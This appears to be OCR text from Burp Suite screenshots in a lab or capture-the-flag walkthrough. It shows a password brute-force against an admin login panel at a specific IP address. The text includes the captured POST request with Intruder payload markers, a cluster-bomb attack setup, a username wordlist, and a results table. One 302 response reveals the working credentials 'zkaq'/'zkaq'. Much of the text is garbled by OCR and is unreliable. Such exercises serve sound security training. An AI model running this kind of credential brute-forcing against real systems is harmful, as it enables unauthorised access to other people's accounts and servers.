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Intercept | HTTP history TWebSockets history T Options ]

Filter: Hiding out of scope items; hiding CSS, image and general binary content

# A Host | Method | URL | Params | Edited | Status | Length | MIME type | Ext
30U MPS /P L=CUIEacts. ICioud.... FRUTFTT. [ IZ0UJZ3JJJ07Carauavitoriey 4 ZUT UJUT AIVIC

336... https://p52-contacts.icloud... REPORT /1265235536/carddavhome/card/ W 207 978 XML

336... http://59.63.200.79:8003 GET /dami_999/dami_666/admin.php 302 416 HTML phj
336... http://59.63.200.79:8003 GET /dami_999/dami_666/admin.php?... + 200 2760 HTML phj
336... http://59.63.200.79:8003 GET /dami_999/dami_666/Public/js/jq... 200 253172 script is
336... https://content-autofill.goo... GET /v1/pages/ChRDaHJvbWUvODkuM... +

336... https://app.yinxiang.com POST /shard/s57 /utility o

336... http://59.63.200.79:80( —
336... https://content-autofill http://59.63.200.79:8003 /dam...dmin.php?s=/Public/checklogin

336... https://app.yinxiang.col Remove from scope
336... https://p52-contacts.ic e 995 text

1658 HTML phj

336... https://p52-contacts.ic 2596 XML
Send to Intrud B+~+1

336... https://p52-contacts.ic end to Intrucer 8€+"+ 6509 XML

336... https://p52-contacts.ic +2 4R 978 XML

< K Send to Sequencer

Send to Comparer (request) =-

J Request | Response Send to Comparer (response)

Show response in browser
J RawT Params T Headers T_H Request in browser >

POST /dami_999/dami_666, Engagement tools >
Host: 59.63.200.79:8003 Show new history window

Content-Length: 44
Cache-Control: max-age=0

Add comment

Highligh
Upgrade-Insecure-Requests DIEI’ tlg'tt .
Origin: http://59.63.200.79! Clee eh'_em
Content-Type: application/y %' ”'fltorv

2) BB, 2/ RE

[ J [ Burp Suite Professional v2.0.11beta - config.burp (backup) - licensed to surterxyz
Burp Project Intruder Repeater_Window Help

[ Dashboard TTarget T Proxy | Intruder ﬁ»peater Sequencer T Decoder TComparer T Extender T Project options T User options ]

1 x[2x [3x

[ Target T Positions T Payloads T Options ]

® Payload Positions

Configure the positions where payloads will be inserted into the base request. The attack type determines the way in which payloads are assigned to payload positions - see help for full details.
1

Attack ty;[e: [Cluster bomb I

POST /dami_999/dami_666/admin.php?s=/Public/checklogin HTTP/1.1

Host: 59.63.200.79:8003

Content-Length: 44

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

Origin: http://59.63.200.79:8003

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://59.63.200.79:8003/dami_999/dami_666/admin.php?s=/Public/login

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Cookie: ASPSESSIONIDSQATTCBS =BEJAMLACBKICBHMHKEHNMHEH; PHPSESSID=275ho8agug4qlddédalvb257k5; BkGOp95780_think_template=default;
UM_distinctid=178c671630e6a3-0dfbc41d98b848-33687c08-13c680-178c671630f751;
CNZZDATA1257137=cnzz_eid%3D2041538175-1618233942-%26ntime%3D1618323470

Connection: close

username=8admin§&password=8§welcome§&verify=47013 ]
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Burp Project Intruder Repeater Window Help

[ Dashboard TTarget T Proxy T Intruder T Repeater T Sequencer T Decoder T Comparer T Extender T Project options T User options ]

1 x {2 = [aes] - )

[ Target T Positions T Payloads T Options ]

@ Payload Sets

You can define one or more payload sets. The number of payload sets depends on the attack type defined in the Positions tab. Various payl
can be customized in different ways.

Payload set: [ 1 ‘ VJ Payload count: 57

Payload type: [Simple list ‘ VJ Request count: 3,249

@ Payload Options [Simple list]

This payload type lets you configure a simple list of strings that are used as payloads.

Paste zkaq A
root
Load ... test
system
Remove guest _ »
systemadmin
testl2
testl23
adminRRKR ¥
Add Enter a new item
[Add from list ... ‘ VJ

)

4) pidistart attack FF 638 !
| W [ |
[Target T Positions TPaonads TOptions ]

(@ Payload Sets [ startattack ||’

You can define one or more payload sets. The number of payload sets depends on the attack type defined in the Positions tab. Various payload types are available for each payload set, and each payload tyfe
can be customized in different ways.

Payload set: |1 v Payload count: 57

5 BERWEN, RAKSKaq#EWzkaqh) REMREHR302, HAR20008 2 RKSHIR, HAMT !



Attack Save Columns F
Results | Target TPositions T Payloads TOptions ] L
| Filter: Showing all items ‘@
|| Request | Payload1 | Payload2 Status | Error | Timeout | Length Comment p
0 200 @] @] 1658 2
3 test zkag 200 @] @] 1658
5 guest zkaq 200 a a 1658 5
2 root zkaq 200 a a 1658
4 zkag 200 @] @] 1658
1 | [zkaq | zkag ] 302 O O 497 |
8 e lae 200 @] @] 1658
11 admin123456 zkaq 200 a a 1658
12 admin888888 zkaq 200 a @] 1658
13 adminl2345 zkaq 200 @] @] 1658
9 testl23 zkaq 200 @] @] 1658
10 admin888 zkag 200 @] @] 1658
15 adminl23 zkaq 200 a a 1658
|16 admin456 zkaq 200 o O 1658 3
vd tactl 2kan 200 M M 1AER
I | Raw | Headers THex 1
{HTTP/1.1 302 Found K
Date: Tue, 13 Apr 2021 15:40:59 GMT
Server: Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/5.4.45
| X-Powered-By: PHP/5.4.45
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: BkGOp95780_1618328459=czoxQilx|js%3D; expires=Tue, 13-Apr-2021 18:41:00 GMT; path=/ E
Location: /dami_999/dami_666/admin.php?s=/Index/index
Content-Length: 3 v
— e W e N
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FATK 5 zkaq# % zkag & Fhttp://59.63.200.79:8003/dami_999/dami_666/admin.php?, #EIGH, FEiflagT, A
T

& C (A R%%£ | 59.63.200.79:8003/dami_999/dami_666/admin.php?s=/Index/index
WA & BE @ TesterHome BAR BElE B 2R BEHE @ BmtliEFEA @ 0.0.0.0:8000/hello) B W
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